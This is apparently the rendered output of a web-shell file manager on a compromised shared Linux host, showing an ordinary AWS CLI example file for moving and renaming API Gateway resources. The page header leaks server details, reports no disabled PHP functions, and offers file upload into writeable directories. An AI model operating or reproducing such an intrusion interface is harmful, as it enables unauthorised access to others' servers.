https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/awscli/examples/apigateway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/awscli/examples/apigateway/update-resource.rst
**To move a resource and place it under a different parent resource in an API**

Command::

  aws apigateway update-resource --rest-api-id 1234123412 --resource-id 1a2b3c --patch-operations op=replace,path=/parentId,value='3c2b1a'

Output::

  {
      "path": "/resource", 
      "pathPart": "resource", 
      "id": "1a2b3c", 
      "parentId": "3c2b1a"
  }

**To rename a resource (pathPart) in an API**

Command::

  aws apigateway update-resource --rest-api-id 1234123412 --resource-id 1a2b3c --patch-operations op=replace,path=/pathPart,value=newresourcename

Output::

  {
      "path": "/newresourcename", 
      "pathPart": "newresourcename", 
      "id": "1a2b3c", 
      "parentId": "3c2b1a"
  }

https://t.me/RX1948 - 2025